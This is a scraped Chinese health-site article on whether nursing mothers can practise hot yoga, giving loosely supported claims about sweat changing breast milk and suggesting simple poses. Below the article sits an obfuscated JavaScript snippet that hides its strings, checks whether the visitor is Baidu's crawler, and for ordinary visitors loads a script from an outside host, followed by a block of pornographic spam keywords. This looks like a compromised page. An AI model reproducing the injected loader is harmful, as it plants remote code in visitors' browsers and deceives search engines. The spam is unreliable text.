當前位置:首頁 > 健康 > 運動健身 > 正文

在哺乳期能練高溫瑜伽嗎

2017-04-16 22:54:42  來源:360常識網   熱度:
導語:眾所周知,一般孕婦在懷孕期間都會因為妊娠而身材走形,所以產后都會迫切的想要恢復自己以前漂亮的身形,而塑身效果最佳的運動,非瑜伽莫屬

眾所周知,一般孕婦在懷孕期間都會因為妊娠而身材走形,所以產后都會迫切的想要恢復自己以前漂亮的身形,而塑身效果最佳的運動,非瑜伽莫屬了,在瑜伽的大種類中,高溫瑜珈對于減肥、排毒、雕塑身材都有很好的效果,是比較流行的聯系方法。那么,對于剛剛做完月子,正處于哺乳期的媽媽們能在哺乳期練高溫瑜珈嗎,下面大家就對這個問題做一個詳細的了解。

高溫瑜伽,也叫熱瑜伽或熱力瑜伽。

它是在38℃—40℃的高溫環境中做瑜伽。它藉由一些扭轉彎曲伸展的靜態動作,直接刺激神經和肌肉系統,可以減輕體重,塑造身形。常溫時肌肉和筋腱比較僵硬,而在高溫環境下,你會發現身體柔韌度出奇的好,從而對自己產生信心。這也是熱瑜伽的一大特點。

而在練習高溫瑜珈時,無疑是會出汗的。這樣會使得體內物質代謝加劇,汗液變濃變酸,將在一定程度上改變母乳的味道,會使寶寶不習慣母乳的味道,變得不愛吃母乳甚至拒絕食用。而且,高溫瑜珈對于人的體能的要求也很高,自己的身體消耗太大,養分供給不足孩子可就要招罪了,所以媽媽們為了自己的寶寶一定要慎重選擇。

那么在哺乳期就一定不能練習高溫瑜珈嗎?也不一定。

是否能在哺乳期練高溫瑜珈,這還需要根據各位媽媽自身的體質來看,如果自己體質不錯的話,一般順產的媽媽滿月后可以練了,剖腹產的媽媽就要遵醫囑了。

哺乳期的媽媽們如果想要練習,注意練習的時間和選擇練習的動作是關鍵,時間需要靠媽媽們根據自己的身體情況自行掌握,而練習的動作,可以選擇一些簡單的具有針對性的動作,比方說自然呼吸,然后拜日式接上犬再接下犬、三角式、旋轉三角、豎式、弓式、然后是船式再加瑜珈的自然放松,這些動作都相對簡單卻又具有整體性,很適合哺乳期的媽媽們。

以上就是哺乳期能練高溫瑜珈嗎的全部內容了。哺乳期的媽媽們想要練高溫瑜伽,注意練習的時間和動作的掌握就好了,不宜時間過長,同時一些動作不要強做,和老師多溝通,訂制適合自己身體狀況的瑜伽動作就好了。希望媽媽們都能通過適當的練習高溫瑜珈獲得一個好身材。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产亚洲精品欧洲在线观看| 久久久999久久久精品| 久久精品无码免费不卡| 久久精品国产一区二区| 真实国产乱子伦精品视频| 亚洲AV无码久久精品蜜桃| 精品日韩亚洲AV无码| 99热亚洲色精品国产88| 天堂精品高清1区2区3区| 国产成人一区二区动漫精品| 国产精品无码素人福利| 亚洲综合精品香蕉久久网| 亚洲国产精品lv| 国产私拍福利精品视频推出| 国产微拍精品一区二区 | 青青草原精品国产亚洲av| 88国产精品视频一区二区三区| 99在线精品免费视频九九视| 杨幂精品国产专区91在线| 国产精品99精品视频网站| 久久九九有精品国产23百花影院| 囯产精品久久久久久久久久妞妞| 国产成人精品日本亚洲语音 | 国产一区二区三精品久久久无广告| 97久久精品午夜一区二区| 久久午夜精品视频| 国内精品免费麻豆网站91麻豆 | 91亚洲精品麻豆| 国内一级特黄女人精品毛片| 伊人 久久 精品 | 精品国产成人在线| 亚洲国产精品无码久久一区二区 | 久久精品这里热有精品| 国产精品香蕉在线一区| 国产区精品福利在线社区| 日产精品一线二线三线京东| 91国语精品自产拍在线观看一| 精品少妇人妻AV无码专区不卡| 精品国产青草久久久久福利| 亚洲综合一区二区国产精品| 国产精品一在线观看|